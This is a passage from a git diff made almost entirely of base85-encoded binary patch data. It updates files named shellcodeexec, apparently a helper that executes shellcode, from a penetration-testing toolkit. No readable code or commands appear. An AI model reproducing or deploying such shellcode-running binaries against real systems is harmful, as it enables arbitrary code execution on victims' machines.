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 ou!3EO`8s%T2*I=C`i$-h+L$j0_V$9 z0ny&-X&6@{87DPdiF*L}cpah_U0zOpbDA?rI6nY$GxVRCF0{)}UU?osfa?tI0_*O| zH%rC{MndmK=LXM4@8?3>*U%nlAnED0g9dRkeVH|Xs-H<*O zA3q%EY-)o$FK(z~G0OLgF`@>L=MI~|$roodq`+QojTjoH-Oyr#a^!}hbsOgiWG7&R zLD+~nUToP0b6vtHUP+OQ<{YuLBP@IqhL&KzM`P?GV{z1kgV8IGl#DhCroN2lzVVf< z1Fg(XF+u0qoR<%swb@6f@w50P(IF2@1BcJC3SQk;q%jMrY zENN3G4O{X4cgMfX< z<)-&Lr(&D7Y}|pl?p|?7e&Wzn#7?PC4iht+M@cbSj?L>{j?L~|j*Z_%53Mr0QRc`9 z$Nr(4NB5Zs@94VT04h?>t$|4>f={`B9kd7|Wzv@s!8g6KV!ul{ucR|;>W+^dm?1W1 zRvTnsN*l^Eq3MipWlb8WQ(yVCUM!|{68ZQJJf@75Rg#ZqO&YGy1&yb2nHiu{SVj@Z zOKgRX*Z5(Gp5F*?{G|O2qXsmqZSRL#jh~hhigZ)=aeqjUGZdJ=3Ei0?0+{BbmN8S( zdBt#X(QB`sUzS$uznYq7R$03b7Kr08^x$RpaHALsTZ*;N7FFLlo==K-LE)Jne#0_A< zqH?>mHUi+HCDGERr<~2XbT8^aGt3ckc3#$;`*ETeFJw`hS3x+JSX3|x2MBT+o7`Qd zukXEsGbFIHnYE&}J=jQKPL&uB;0&K1U$UjOo0xR1VQ36c>V}S49N4F=aGa_zu9zqP3Iq`vWy*O;xSg4XEl*C< z;A21Nqn~ayWNsJ_O;Uh1QnUGywSwH~n? z*Dt}jB84*zwa5c_&KHsKp4cZ8Rk{r+HZ76E9spBc%R;i>waRFYRK6EgU08ztWkxlI zfa?&RIgDfYN#u6jH0i~-IgWP8HIwJMbZKxs8v|vGm6G5CMCNOERE{x87&A)T2{WK!lXYCOW9;jxtdQ>ugi%WPidW52Oc~* zgiJ*7ur=QC29hhec)ucVABuVds*g6Z;_Wr~T}_kx6;qKrf0Kp$c3hZHZS-6}GfDw7 z5a!6vTOa->TU|KS01US1ywmxl^Agl4f(C~3Qvc0ZorB|yWj9Y0fCFqsuNxVy9^7c) zWqPx&SGM4YRX?{6Sa&%0@o)Dihy%%tbgKEK1aE8Qv51M*te^DQwvL+5Dj-$Oy6%70IMM#fC6~V=Ui$H((zIr%d`<{5j zLeA$kN2BJqFxC48WBLEs;*aXOS;zhUh%qJ)^t~4e+`kYz7*e=P4;F{H|AqMi$)^5z lpt|Ppa}KE@AJgj%!a^D@cWEIT!JUEg5ZL{=zkjfLzV5gdP=){i literal 1861 zcmV-L2fFw@B^O3cJ||Nj90|NsC0|L*@0&4?EBHtqnt z27wUnD96xx#jC;4$e_)|XV)uAO`2>xS2K@25?PFmPI6(BJQZe1iJ%+Pdwf2LkV|rY zqcUNLd0*2%d5KhmIfPa6`OVEFRe}57`OJ#q4 zpnrdIWq*Hvax*r9rqyASGG!K^7NamPO>%$GWq(U~jb(p-e}8{}e|$1!e|V&Sa({Pb zW^zl&bB2Isc{z=FJU`PsJa2xG8%q~+fKNW48-AdErhsN;PdR|lf00{mpfya&Pl@Uo zJIKiOLOR*A>8x#-B&cJZT580?djo1=;mbtA8K7<^IE_vTYI z(OGY4&Ia4&?FRkM|0J&%*SC7!#}GQ&m))Rlo^;h3dR;x~T-RNeZF^%}tY3e5p377# zEV1e)f8~3nqZ7qQt_`XF3Dz|>ObLHwS*9{IeaZsrWM!D@6I2QbZPtfzy=W}NnjID^ z#y{4Z`@Hedk4YpEN+tZpAgb%G4W+I}d zFgsP9Ou}z3%JPQD7ILr;(kse;Zk!#wz-m%2#8tTSD}a<+b+CIbgmE&*O_1(j)>Ex5 zw`u8V>_a9P%&s?gk6RKa2aI{}WpV`Nm_$rBEbHUN0W5TBtjgmc>n$I)Q$8$ifYQXl zE{BzqULCYpo`sXG#oq&Ek|CbTNBf@cLXhCQxYZ%;ujbX=ip^|G8k zw0F}Sb*;@fOTcbjgKyN+cN=B19b{$16gHB@9tB%*YpU`**pQ^JC6NW}7g^+6Q39no z2-)U!rnOziv?-nY(Rud{nv5mWg?6D%Lm3-cn>E9q=a?%`5`PGDH@!Y~j}`Bn%rphV zX@x1DRsJ2z^RDTnXERUjm9L^=0vdR0(F&`rWZ>w%L&JA9D-M_jQ1TfhqfbM54$(BO zCv6)g(LU3!JtS%YmcbHeMW!}~G@{JcRS2ym&Lq(8q0ve~GiPI&Pi*h($ga*dbzewS zS_bP4YB4G7ZMz5vL)38K>i^a?nm8 z%tMKN%EBvE(_2GQm4!c)(#Gj!_ZZI3%gYDGtXEUQt%g)*)! z?YpKK<0m*4Gn=|ri#o@u$;yrW6L~RhshUZ>%Pw0OD0MN4WTPicb{}BNso%P(HI0pE z!LSlp+SLLk2^4pu2%KRx&8sx@i#Z zsbhd;bUb!URTX}xK2HxT`o)q>*4|!KB|9lUVso~&iB5Ns$_~Eld+3F4Zg{Zt++iZNVNA(%G$SH&$ee_} zo#Y93Cm#bM1|v{i`2w+pM*fH`!uI<2?KzMU21gKyLe2w7Bm~~Z-icVJ?Vyz z9|=@WGR-Bjc?k`Pia$K~GOnK$**2COHlkd{x4mdys@0}r!o9+O!_|Jcd`sBw$eZd7y`H~l&O{tLU*17v8UnRDwwTLJu2^xn=a|Mn}canf(zQ-;S z!l8X7XDY@n8JTpgXnMU4UJ#^Opx?xa8mSu`!)POAIDO@9C<_l!@t9-+wug0CdDcWs zwl~{LRhwbC#XEC%SsOQZ!KM;trS;*%5^kmVOxq(fGNnQ+ulT!?R>Fjag|}}H^j~rG diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_ index 25aa6ea4a87d7f403a4a4a5b95566b9983799ea4..10e8fea3d3888bfdbb10fff3ee4fcc00999ddcce 100644 GIT binary patch literal 1927 zcmV;22YC1goYf}~6D-$izqV{0d~_ys6?M_#F*!WwUI-rLZu#&)~}oLp&+UjDnTttt)?bq8YMaws}`f3C9w((cb&49X+dk= z&Ia$CU<|_i^=~ckU!TO|$MeNKyrNjj1w&CE1(HW(yZKEP$mlTS16?F1m>m)_+ zNq9lvz?~Eh(1H77xU3@aN#28##!qvr@n}drzw^$RL_rkwbPV$<_#oF}flRbGkWK%w zcCz_R+L(&@2vhrQ+L(g*x*8xmWQRdO64~#fjXa*8vh3fZjXa&7wCqUG#$L{kCiW(@ zPTcuzm}3y=)2I&NRu&_YwZBqvV~)<&c-mb(&Yonl)DwRzqj!X>laohDM&1QbOItA2 z3b*-=O0+hoW0A&KkE7$*?q2Y0)i}>{KNgeYWS%=Ek2~Ys3Xhy;OXbdsmCftA$E>_E z>ex%06}@CJBG}#0xtTLrqpj=yv1*Lb0cs7_4R82)PWLU31FZY+pI?k*5{hQLbV@&>0 zjoCS7AM?G1wHOXjJRnJNfnusqw4Ofu==b`L%^wBK^UnYxG3@r?T_(JKew;{X*2wYa zyp33ZVNGOoe?37!$I(T`RE;CxFizte;JTdXnGX3n6CL*uFJ`I0$4R)7PU9`i_&C1~tk*v+Q^5ldJ<7l2gXJl>Nd{qd(*0nB6Fj#aWeaumhoCTmzJ2;y(CZf6y8#C`xH&{4o7T1l zSR(eme~)lpq@SR}-u8}Y-FVwX``Z1rmS{uB+j=-aw6l7z_qQaaa`D3_aDNEatAArg ztYCm-cVqmi`-Li*_BXBVv>2l0#pXhXZ&}GTNp#mWuB#OJeeJIYBxB z7HKYzk1rwVT;%g!xG6{=JDTuc*&__O zK%X5v1+DQ1$=_R>^RzeiDrMjQH3vYaiaGPNhx8nzpIstf{bT9VqyRqp-{io)0&x3- z{psNoqTt`ILZlMwb{3&h_UZrg8m&!zyKF*EQ?wI4FqbqvRBQFL*0)I7qgak~?FXT% zjayY*Jv5zHD>38}t(WaoKsT3E*&U(Dh{LrFMVCJ~MO5Vr6JWMInx0{W|8r*#t(Z0F zcA=#>;+YLypN@~D%FC9}k_E9NfpHS`3$hamp2!%J&>k+g{_M8x35HbQmQ&{Q>4N?s ztyF2ea1M=7)niDlZ~;Is{MG&N-J%AMwfsRI+X2PDI24wyuT~!$UMTXD$M8lNH%(m>tc(Vzc_>< z6qwKTf_)u2<>iYRc@%aY5{QbhV z)dQ*gmukLSzPvpCP-^~P@puBa_9*QZ9?xR)m%pRfNdQ3M`5HmT^_tQ^zmM{H7^VIu z|0&_~0mn4_rT5%w__K8Yi1<7dn&T_^QxI&%{B7|x2*>~^-1=m8^Z%^ist_#hV{N5! N>3Fx{|8#)P&RuH{`HKJm literal 2082 zcmV+-2;KKRB^O3cJ|(@fvxH?IbUxA97EKP$JKrUewo~9LHpchN^a&k^` za&Rwxh-DvxUWgaa7kH?D(>yq+d5wHt>P2U$)hrSKYxFJe}8{} ze}8{}e}8{}a({n+etJ%FOEY&CO^j~nnSXy57iE8ce}8#^e@%aXf5?8Ie}8{`KNne) z6`!OyraSdQGG>0Ye`S9ce;0Cce}8{@fuMhXe`ObCa&muve}7+mJTgsrTrz%3RF>Bj973ZkNql51 zuwJpD?q0-8+cvbM)>0rG7{l>YsxgNJXUWv!tTb}3}}$k~FKghzs+UXE60DMv+sX~$TJeOu@F2K(i_=zQoh`AMZ>RXY1 zD&M)DFeWa4RkMu>Ge}s1a(YT*(?@x#nk)>dA)tUsyR~K3z0xg4)0u96Yk+5!#-2h6 z&Yvi*%2<+J+4TaHYB zIXZ|pb!WD7c~~;I(X@uZoF9XE2a`8D%xD47R+5@~eODh*#eib7e=7@5ii~MWm=n{a z))a$@rH*m`uZolS(%=xLNYwBZE8r-h-Lm#~(XnMX4;*F>9GnhTN2uFRo)N_0H{c5+ zRrd^-xBayurqV0Jk0i4Kmbxtl2JqfK^q|ztJ3D)shr^AV$O&ic#LIr5B{^p!Bg~dQ zq&(cTR8n*lF(3D@>l{_p+O#}|t~(eEPUj#iPyq(gmV$FRl0k-gyJ_vKEHY#LszM1- zTt0>T9IecCg4}j^u+UTeHw$lHRPb@{`MV>NfmLNpq2R zJ;-Z!J7!xwqAwgBy`M5qWJ8w1H^LXo=JYT`83b;cUG5hKH(#8HoHL#-Z!IdNl=5`1 zn2m%~`BdHIM*)l>X<8fB`VP-8s?#@lOB(`=mIYd64YfP$ci4#EgcKsG0EFc;b>a8x(l^^<$6TI+ zCR;fdI3*eOvAjt(^A;g1rv;Z`ywog#VQnJy?e)yoG$6yRm$H|Rmk-jf&~`=<4GGb> z7G^1D`9CVPY?9=#Q1P6?BP+eF?^a|qO8jQ(q_=zFe~iZIKRJwX^~qG8vHhfmYjTl^ z83W3s#p5nBNF-imhLGHum3S}~1mohCcJek~z&LnhgV~gvax#r-X3iXO0oCgC-=i^( zPfR*_9uTk4CQTu7hx5}!Y4MA(kqC&f)Gb{sZUJpUR_r)i^zm40GC)#u3`~mN0vo$H|FFDxl@D)^v7ouUr zu_n*mG?7yxy>dtz6OK9RouDOzB&!ifHWQ>VBUeh4Y5*O^d$HF<&4Y3_A&ilN5VLEPu zJYpSob7mh`sTW<8U$=naNs{P3UP+miK#rSEPkWbGCa@OlGXrgHqdtruUkh*?z=lVG zcc2}yq{)AGZJd7f3&L+HXo_vnU~X?~bEVf|9VgRSOAB~_XH<)DyCt}Q{ zyVX=S6H#=>PA@QNq(gr+sw2AhZvfG?SP50T6aGoaJ;OiRq{ThZBbGui?wP8yR>(%R;@Nl;m;6D`8xM`jgt+sYY=vSuq02CGOyu|(8}m1uBx&Kn|F z2sH?=m{w>8%y|!gCsgo9L;=;bG%)i$YKdug;4kHyF$>{yRUd6FqtJxOI4xW?Pp`rO z*wEx{UdxO{(i(n<(3%IuqsjQomSrs156Gmoq^op7pJu+RY9y{YxS0Vt2j=ScXPQZW8e MHMt=okBz-`B| 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 S_O`b4;M)B2&HsArmJnxle8h_Y literal 3368 zcmV+@4cGELB^O3cJ|gWe}7ASKYxE^d4oTHIxl~Je}8{} za(q93exQGUe-|4~e}8{}e}8{}e}8{}e|r^1uJz)}-V^b1e{OU|FVZR`!3JQ@*o5%( zt_{Z{Jcy`|(y2`wZkoyNE64btHC{8kk$Dx_z#!2CjZafoRz5PHqoDisyuCdIB`8Q& z&5dG^&`(>LQ^(hp`l}}Qpue;a69&dN5GEIYkCKRLg*;W(eJL(>lt#rf7o~#JbBg4Q zn89D5(WLW^P*OWe#yW&^-n|(O7!%d3H9D>ta#L94vu-;u`Nl!0?qLe@TNlZ)HZF^U1JvTpFBS~9! zbx<$VD>3b~Tefwqk~?G#UdJ=beTa}=URPD3YU9M2d@rGC?p~sKOPYUs*urx%ZB~N} zUpHuW3~tQk^QltTmaom)-0&hb;M(%3)d4;A>PBPpdn4y>*5Dwljc#xAWecjl^ye02 zKFqXrki(gH$;jmmzK8fU;1ClnfrAj0D4t{pTu@e!X-cct(gV89DN}gim=+~I_Ch); z#Go%UQBm(lNt0@wj=s8`nbMwt^sb&nXc@mw*^x63PHQi$?W0SI=u!J?$OL@=i^VI! zn*lC|K$p`kagnpA@u8};D*Bt0aA2W*;(2f4SZ@S5nNPwVP5xqeu2B&ZNVy$+`;O(h z!EP;XHtztF#KpeeCI+@R3nHs@cCw^xl9nwYR^VL{ty^1bGT?Vb;j73sot(X*g7AV@ ztKVBdob3uDM(XDqOH@3d92$BGa)H(c?48Ej&4KEuUFaeTcZ#9i513Vbd|hw5zM1jN z8nP{*n&@Hj>ZaVQwHZYh$OoOyED7z}#7M)aa5Yb+ncr)JEYxfHMAm;yJAZY5h@on1 zf~dk?A0bg&VW&uqZWg=5-`(^H&k7>Qt6_|E&R}6UzrV?A+upU7LjCT0=f|R_vA^HT z`nz*-RQPK;h!oo;Z>>{F*ok_L{WlQthZXFaxlY##HcaS0W5ljb5GN&Mc?6`fm0$(lC23+c|$-nS*_o^X-XJhGD)_OaFuZ_1dc7`HVT=j(JCqM=%- zl&R+9I_FJG)8DGT;wc<#REfg5{w9tlU2qHFZ`J9Fx>@LLcLjMl7bO>wJIlVQFOyW- zYZ`c@M9f_jWU{J{_<|b3f{CKfXjcDm871 zmQ~1{-9A2BtYz_P8fz~tr%5ZEfytsWvY1;nYn+94R?W?(r#dBs>7k-3c1A=PReq}& 